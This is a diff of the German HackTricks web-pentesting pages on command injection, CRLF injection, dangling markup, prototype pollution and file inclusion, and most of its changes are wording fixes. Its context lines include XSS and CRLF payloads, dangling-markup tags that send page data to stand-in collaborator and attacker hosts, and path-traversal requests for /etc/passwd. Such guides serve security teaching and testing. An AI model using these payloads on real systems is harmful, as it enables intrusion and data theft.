{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

11
src/pentesting-web/command-injection.md
View File

@ -2,14 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## Was ist Command Injection?
Eine **Command Injection** ermöglicht es einem Angreifer, beliebige Betriebssystembefehle auf dem Server, der eine Anwendung hostet, auszuführen. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer typischerweise, unbefugten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
### Kontext
Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`), bevor die Befehle ausgeführt werden.
Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (unter Verwendung von `"` oder `'`), bevor die Befehle ausgeführt werden.
## Command Injection/Ausführung
```bash
@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Limitation** Bypasses
Wenn Sie versuchen, **willkürliche Befehle auf einer Linux-Maschine auszuführen**, werden Sie sich für diese **Bypasses** interessieren:
Wenn Sie versuchen, **willkürliche Befehle auf einer Linux-Maschine auszuführen**, werden Sie an diesen **Bypasses** interessiert sein:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -118,9 +117,11 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
## Brute-Force Erkennungsliste
## Brute-Force-Erkennungsliste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Referenzen

20
src/pentesting-web/crlf-0d-0a.md
View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
### CRLF
Carriage Return (CR) und Line Feed (LF), zusammen bekannt als CRLF, sind spezielle Zeichenfolgen, die im HTTP-Protokoll verwendet werden, um das Ende einer Zeile oder den Beginn einer neuen zu kennzeichnen. Webserver und Browser verwenden CRLF, um zwischen HTTP-Headern und dem Körper einer Antwort zu unterscheiden. Diese Zeichen werden universell in HTTP/1.1-Kommunikationen über verschiedene Webserver-Typen hinweg eingesetzt, wie z.B. Apache und Microsoft IIS.
@ -14,9 +12,9 @@ CRLF-Injection beinhaltet das Einfügen von CR- und LF-Zeichen in vom Benutzer b
### Beispiel: CRLF Injection in einer Protokolldatei
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
[Beispiel von hier](https://www.invicti.com/blog/web-security/crlf-http-header/)
Betrachten Sie eine Protokolldatei in einem Admin-Panel, die das Format `IP - Zeit - Besucht Pfad` folgt. Ein typischer Eintrag könnte so aussehen:
Betrachten Sie eine Protokolldatei in einem Admin-Panel, die das Format: `IP - Zeit - Besuchter Pfad` folgt. Ein typischer Eintrag könnte so aussehen:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
@ -42,7 +40,7 @@ HTTP Response Splitting ist eine Sicherheitsanfälligkeit, die entsteht, wenn ei
#### XSS durch HTTP Response Splitting
1. Die Anwendung setzt einen benutzerdefinierten Header wie folgt: `X-Custom-Header: UserInput`
2. Die Anwendung ruft den Wert für `UserInput` aus einem Abfrageparameter ab, sagen wir "user_input". In Szenarien, in denen es an ordnungsgemäßer Eingabevalidierung und -kodierung mangelt, kann ein Angreifer eine Nutzlast erstellen, die die CRLF-Zeichenfolge enthält, gefolgt von bösartigem Inhalt.
2. Die Anwendung ruft den Wert für `UserInput` aus einem Abfrageparameter ab, sagen wir "user_input". In Szenarien, in denen es an ordnungsgemäßer Eingangsvalidierung und Kodierung mangelt, kann ein Angreifer eine Nutzlast erstellen, die die CRLF-Zeichenfolge enthält, gefolgt von bösartigem Inhalt.
3. Ein Angreifer erstellt eine URL mit einem speziell gestalteten 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- In dieser URL ist `%0d%0a%0d%0a` die URL-kodierte Form von CRLFCRLF. Es täuscht den Server, indem es eine CRLF-Zeichenfolge einfügt, wodurch der Server den nachfolgenden Teil als Antwort-Body behandelt.
4. Der Server spiegelt die Eingabe des Angreifers im Antwort-Header wider, was zu einer unbeabsichtigten Antwortstruktur führt, in der das bösartige Skript vom Browser als Teil des Antwort-Bodys interpretiert wird.
@ -72,7 +70,9 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
```
Überprüfen Sie weitere Beispiele in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### HTTP Header Injection
@ -125,7 +125,7 @@ Nachfolgend kann eine zweite Anfrage spezifiziert werden. Dieses Szenario beinha
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Crafting a Prefix for Response Queue Poisoning**: Dieser Ansatz beinhaltet das Erstellen eines Präfixes, das, wenn es mit nachfolgendem Müll kombiniert wird, eine vollständige zweite Anfrage bildet. Dies kann das Vergiften der Antwortwarteschlange auslösen. Ein Beispiel ist:
2. **Crafting a Prefix for Response Queue Poisoning**: Dieser Ansatz beinhaltet die Erstellung eines Präfixes, das, wenn es mit nachfolgendem Müll kombiniert wird, eine vollständige zweite Anfrage bildet. Dies kann das Vergiften der Antwortwarteschlange auslösen. Ein Beispiel ist:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
@ -137,7 +137,7 @@ Memcache ist ein **Key-Value-Store, der ein Klartextprotokoll verwendet**. Weite
../network-services-pentesting/11211-memcache/
{{#endref}}
**Für die vollständigen Informationen lesen Sie die**[ **originale Beschreibung**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
**Für die vollständigen Informationen lesen Sie die**[ **originale Ausarbeitung**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Wenn eine Plattform **Daten aus einer HTTP-Anfrage entnimmt und diese ohne Bereinigung verwendet**, um **Anfragen** an einen **Memcache**-Server zu stellen, könnte ein Angreifer dieses Verhalten ausnutzen, um **neue Memcache-Befehle einzufügen**.
@ -155,7 +155,7 @@ Um die Risiken von CRLF (Carriage Return und Line Feed) oder HTTP-Header-Injekti
1. **Vermeiden Sie direkte Benutzereingaben in Antwort-Headern:** Der sicherste Ansatz besteht darin, Benutzereingaben nicht direkt in Antwort-Header einzufügen.
2. **Kodieren Sie Sonderzeichen:** Wenn es nicht möglich ist, direkte Benutzereingaben zu vermeiden, stellen Sie sicher, dass Sie eine Funktion verwenden, die speziell für die Kodierung von Sonderzeichen wie CR (Carriage Return) und LF (Line Feed) zuständig ist. Diese Praxis verhindert die Möglichkeit einer CRLF-Injektion.
3. **Aktualisieren Sie die Programmiersprache:** Aktualisieren Sie regelmäßig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. Wählen Sie eine Version, die das Injizieren von CR- und LF-Zeichen innerhalb von Funktionen, die für das Setzen von HTTP-Headern zuständig sind, von vornherein verbietet.
3. **Aktualisieren Sie die Programmiersprache:** Aktualisieren Sie regelmäßig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. Wählen Sie eine Version, die das Einfügen von CR- und LF-Zeichen in Funktionen, die für das Setzen von HTTP-Headern zuständig sind, von vornherein verbietet.
### CHEATSHEET
@ -197,6 +197,4 @@ Um die Risiken von CRLF (Carriage Return und Line Feed) oder HTTP-Header-Injekti
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

30
src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
View File

@ -32,7 +32,7 @@ Sie könnten auch **`<table`** verwenden:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Sie könnten auch ein `<base`-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert einige Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):
Sie könnten auch ein `<base`-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert eine Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -55,7 +55,7 @@ Der Button kann die URL ändern, an die die Informationen des Formulars mit dem
I get consumed!
</button>
```
Ein Angreifer kann dies nutzen, um Informationen zu stehlen.
Ein Angreifer kann dies verwenden, um Informationen zu stehlen.
Finden Sie ein [**Beispiel für diesen Angriff in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
@ -101,8 +101,8 @@ Aus dieser [portswiggers Forschung](https://portswigger.net/research/evading-csp
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Beachten Sie, dass Sie die **Opfer** bitten werden, auf einen **Link** zu **klicken**, der sie zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut innerhalb des **`base`**-Tags **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher können Sie, da Sie die Seite kontrollieren, auf die das Opfer durch Klicken auf den Link zugreift, auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
Beachten Sie, dass Sie die **Opfer** bitten werden, auf einen **Link** zu **klicken**, der sie zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut im **`base`**-Tag **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher können Sie, da Sie die Seite **kontrollieren**, auf die das Opfer durch Klicken auf den Link zugreift, auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
```html
<script>
if(window.name) {
@ -150,7 +150,7 @@ Oder Sie können sogar versuchen, etwas JavaScript auszuführen:
```
### Iframe-Missbrauch
Ein untergeordnetes Dokument hat die Fähigkeit, die `location`-Eigenschaft seines Elternteils anzuzeigen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein **iframe**, das den Client auf eine beliebige Seite umleiten kann:
Ein Kinddokument hat die Fähigkeit, die `location`-Eigenschaft seines Elternteils zu sehen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein **iframe**, das den Client auf eine beliebige Seite umleiten kann:
```html
<html>
<head></head>
@ -191,31 +191,33 @@ Zum Zeitpunkt des Schreibens müssen Sie den Portal-Tag in Chrome unter `chrome:
```html
<portal src='https://attacker-server?
```
### HTML-Lecks
### HTML Leaks
Nicht alle Möglichkeiten, um Konnektivität in HTML zu lecken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Lecks
## SS-Leaks
Dies ist eine **Mischung** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) in eine Seite der **gleichen Herkunft** derjenigen, die wir angreifen werden, **einzufügen**. Andererseits werden wir die Seite, in die wir HTML einfügen können, nicht direkt **angreifen**, sondern **eine andere Seite**.
Dies ist eine **Mischung** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) auf einer Seite der **gleichen Herkunft** wie die, die wir angreifen werden, zu **injizieren**. Andererseits werden wir die Seite, auf der wir HTML injizieren können, nicht direkt **angreifen**, sondern **eine andere Seite**.
{{#ref}}
ss-leaks.md
{{#endref}}
## XS-Suche/XS-Lecks
## XS-Search/XS-Leaks
XS-Suche ist darauf ausgerichtet, **cross-origin Informationen zu exfiltrieren**, indem **Seitenkanalangriffe** ausgenutzt werden. Daher ist es eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbeziehung von HTML-Tags (mit und ohne JS-Ausführung), wie [**CSS Injection**](../xs-search/#css-injection) oder [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search sind darauf ausgerichtet, **cross-origin Informationen zu exfiltrieren**, indem sie **Seitenkanalangriffe** ausnutzen. Daher ist es eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbeziehung von HTML-Tags (mit und ohne JS-Ausführung), wie [**CSS Injection**](../xs-search/#css-injection) oder [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/
{{#endref}}
## Brute-Force Erkennungsliste
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## Referenzen
## References
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)

36
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View File

@ -56,7 +56,7 @@ this.model = model
}
var car1 = new Vehicle("Tesla Model S")
```
Der Zugriff auf das Objekt-Prototyp ist möglich über:
Der Zugriff auf das Objektprototyp ist möglich über:
```javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## Prototype-Verschmutzung
## prototype pollution
Für ein Szenario, in dem die Verwendung von `__proto__` eingeschränkt ist, ist die Modifizierung des Prototyps einer Funktion eine Alternative:
```javascript
@ -142,7 +142,7 @@ console.log(key1 + "." + key2)
}
}
```
### Array-Element-Verschmutzung
### Array-Elemente-Verschmutzung
Beachten Sie, dass Sie, da Sie Attribute von Objekten in JS verschmutzen können, wenn Sie Zugriff haben, um ein Array zu verschmutzen, auch **Werte des Arrays** zugänglich **über Indizes** verschmutzen können (beachten Sie, dass Sie Werte nicht überschreiben können, sodass Sie Indizes verschmutzen müssen, die irgendwie verwendet, aber nicht geschrieben werden).
```javascript
@ -177,7 +177,7 @@ Das einfachste Beispiel besteht darin, einen Wert zu einem **undefinierten Attri
```javascript
if (user.admin) {
```
Wenn das Attribut **`admin` undefiniert ist**, ist es möglich, eine PP auszunutzen und es mit etwas wie Folgendem auf True zu setzen:
Wenn das Attribut **`admin` undefiniert ist**, ist es möglich, eine PP auszunutzen und es mit etwas wie auf True zu setzen:
```javascript
Object.prototype.isAdmin = true
let user = {}
@ -213,7 +213,7 @@ client-side-prototype-pollution.md
### CVE-2019–11358: Prototype-Verschmutzungsangriff durch jQuery $ .extend
[Für weitere Details siehe diesen Artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery kann die Funktion `$ .extend` zu Prototype-Verschmutzung führen, wenn die Deep-Copy-Funktion nicht ordnungsgemäß genutzt wird. Diese Funktion wird häufig zum Klonen von Objekten oder zum Zusammenführen von Eigenschaften aus einem Standardobjekt verwendet. Wenn sie jedoch falsch konfiguriert ist, können Eigenschaften, die für ein neues Objekt vorgesehen sind, stattdessen dem Prototyp zugewiesen werden. Zum Beispiel:
[Für weitere Details siehe diesen Artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery kann die Funktion `$ .extend` zu einer Prototype-Verschmutzung führen, wenn die Deep-Copy-Funktion nicht ordnungsgemäß genutzt wird. Diese Funktion wird häufig zum Klonen von Objekten oder zum Zusammenführen von Eigenschaften aus einem Standardobjekt verwendet. Wenn sie jedoch falsch konfiguriert ist, können Eigenschaften, die für ein neues Objekt vorgesehen sind, stattdessen dem Prototyp zugewiesen werden. Zum Beispiel:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
@ -224,15 +224,17 @@ Diese Schwachstelle, identifiziert als CVE-2019–11358, zeigt, wie eine tiefe K
[Für weitere Details siehe diesen Artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) hatte ähnliche Schwachstellen in Bezug auf Prototyp-Verschmutzung (CVE-2018–3721, CVE-2019–10744). Diese Probleme wurden in Version 4.17.11 behoben.
[Lodash](https://www.npmjs.com/package/lodash) hatte ähnliche Prototyp-Verschmutzungsanfälligkeiten (CVE-2018–3721, CVE-2019–10744). Diese Probleme wurden in Version 4.17.11 behoben.
### Ein weiteres Tutorial mit CVEs
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### Werkzeuge zur Erkennung von Prototyp-Verschmutzung
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite-Erweiterung, die entwickelt wurde, um serverseitige Prototyp-Verschmutzungsanfälligkeiten in Webanwendungen zu erkennen und zu analysieren. Dieses Tool automatisiert den Prozess des Scannens von Anfragen, um potenzielle Probleme mit Prototyp-Verschmutzung zu identifizieren. Es nutzt bekannte Gadgets - Methoden zur Ausnutzung von Prototyp-Verschmutzung zur Ausführung schädlicher Aktionen - mit besonderem Fokus auf Node.js-Bibliotheken.
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite-Erweiterung, die entwickelt wurde, um serverseitige Prototyp-Verschmutzungsanfälligkeiten in Webanwendungen zu erkennen und zu analysieren. Dieses Tool automatisiert den Prozess des Scannens von Anfragen, um potenzielle Prototyp-Verschmutzungsprobleme zu identifizieren. Es nutzt bekannte Gadgets - Methoden zur Ausnutzung von Prototyp-Verschmutzung, um schädliche Aktionen auszuführen - mit besonderem Fokus auf Node.js-Bibliotheken.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Diese Erweiterung identifiziert serverseitige Prototyp-Verschmutzungsanfälligkeiten. Sie verwendet Techniken, die in der [serverseitigen Prototyp-Verschmutzung](https://portswigger.net/research/server-side-prototype-pollution) beschrieben sind.
### AST Prototyp-Verschmutzung in NodeJS
@ -313,7 +315,7 @@ requests.get(TARGET_URL)
```
#### Pug-Sicherheitsanfälligkeit
Pug, eine weitere Template-Engine, ist einem ähnlichen Risiko der Prototypenverschmutzung ausgesetzt. Detaillierte Informationen sind in der Diskussion über [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) verfügbar.
Pug, ein weiterer Template-Engine, ist einem ähnlichen Risiko der Prototypenverschmutzung ausgesetzt. Detaillierte Informationen sind in der Diskussion über [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) verfügbar.
Beispiel für Prototypenverschmutzung in Pug:
```python
@ -334,19 +336,19 @@ requests.get(TARGET_URL)
```
### Präventive Maßnahmen
Um das Risiko von Prototype Pollution zu verringern, können die folgenden Strategien angewendet werden:
Um das Risiko der Prototyp-Verschmutzung zu verringern, können die unten aufgeführten Strategien angewendet werden:
1. **Objektunveränderlichkeit**: Das `Object.prototype` kann durch Anwendung von `Object.freeze` unveränderlich gemacht werden.
1. **Objekt-Unveränderlichkeit**: Das `Object.prototype` kann durch Anwendung von `Object.freeze` unveränderlich gemacht werden.
2. **Eingangsvalidierung**: JSON-Eingaben sollten rigoros gegen das Schema der Anwendung validiert werden.
3. **Sichere Merge-Funktionen**: Die unsichere Verwendung von rekursiven Merge-Funktionen sollte vermieden werden.
4. **Prototyplose Objekte**: Objekte ohne Prototyp-Eigenschaften können mit `Object.create(null)` erstellt werden.
4. **Prototyp-freie Objekte**: Objekte ohne Prototyp-Eigenschaften können mit `Object.create(null)` erstellt werden.
5. **Verwendung von Map**: Anstelle von `Object` sollte `Map` zur Speicherung von Schlüssel-Wert-Paaren verwendet werden.
6. **Bibliotheksupdates**: Sicherheitsupdates können durch regelmäßige Aktualisierung von Bibliotheken integriert werden.
7. **Linter und statische Analysetools**: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Prototype Pollution-Schwachstellen zu erkennen und zu verhindern.
8. **Code-Reviews**: Führen Sie gründliche Code-Reviews durch, um potenzielle Risiken im Zusammenhang mit Prototype Pollution zu identifizieren und zu beheben.
9. **Sicherheitsschulung**: Schulen Sie Entwickler über die Risiken von Prototype Pollution und bewährte Praktiken zum Schreiben sicherer Codes.
6. **Bibliotheksaktualisierungen**: Sicherheitsupdates können durch regelmäßige Aktualisierungen von Bibliotheken integriert werden.
7. **Linter und statische Analysetools**: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Schwachstellen der Prototyp-Verschmutzung zu erkennen und zu verhindern.
8. **Code-Überprüfungen**: Führen Sie gründliche Code-Überprüfungen durch, um potenzielle Risiken im Zusammenhang mit der Prototyp-Verschmutzung zu identifizieren und zu beheben.
9. **Sicherheitsschulung**: Schulen Sie Entwickler über die Risiken der Prototyp-Verschmutzung und bewährte Praktiken zum Schreiben sicherer Codes.
10. **Vorsicht bei der Verwendung von Bibliotheken**: Seien Sie vorsichtig bei der Verwendung von Drittanbieterbibliotheken. Bewerten Sie deren Sicherheitslage und überprüfen Sie deren Code, insbesondere bei denen, die Objekte manipulieren.
11. **Laufzeitschutz**: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Prototype Pollution-Angriffe erkennen und verhindern können.
11. **Laufzeitschutz**: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Angriffe durch Prototyp-Verschmutzung erkennen und verhindern können.
## Referenzen

96
src/pentesting-web/file-inclusion/README.md
View File

@ -1,8 +1,8 @@
# Dateieinbindung/Pfad Traversierung
# Dateieinschluss/Pfad Traversierung
{{#include ../../banners/hacktricks-training.md}}
## Dateieinbindung
## Dateieinschluss
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
@ -13,7 +13,7 @@ Anfällige **PHP-Funktionen**: require, require_once, include, include_once
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessant - LFI2RCE-Dateien
## Blind - Interessant - LFI2RCE Dateien
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -21,23 +21,27 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**Durch das Mischen mehrerer \*nix LFI-Listen und das Hinzufügen weiterer Pfade habe ich diese erstellt:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
Versuchen Sie auch, `../../../../../` hinzuzufügen.
Versuchen Sie auch, `/` durch `\` zu ersetzen\
Versuchen Sie auch, `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt).
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Zusammenführung verschiedener Wortlisten:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
Versuchen Sie auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen.
Versuchen Sie auch, `/` durch `\` zu ersetzen\
Versuchen Sie auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt).
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -45,7 +49,7 @@ Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (u
## Grundlegende LFI und Umgehungen
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -57,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null-Byte (%00)**
Um das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge zu umgehen (Umgehung von: $\_GET\['param']."php")
Um das Anhängen weiterer Zeichen am Ende des bereitgestellten Strings zu umgehen (Umgehung von: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -78,11 +82,11 @@ Vielleicht überprüft das Back-End den Ordnerpfad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkundung von Dateisystemverzeichnissen auf einem Server
### Erkundung von Verzeichnisstrukturen auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was eine Tiefe von drei anzeigt:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -95,13 +99,13 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **Inhalte von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
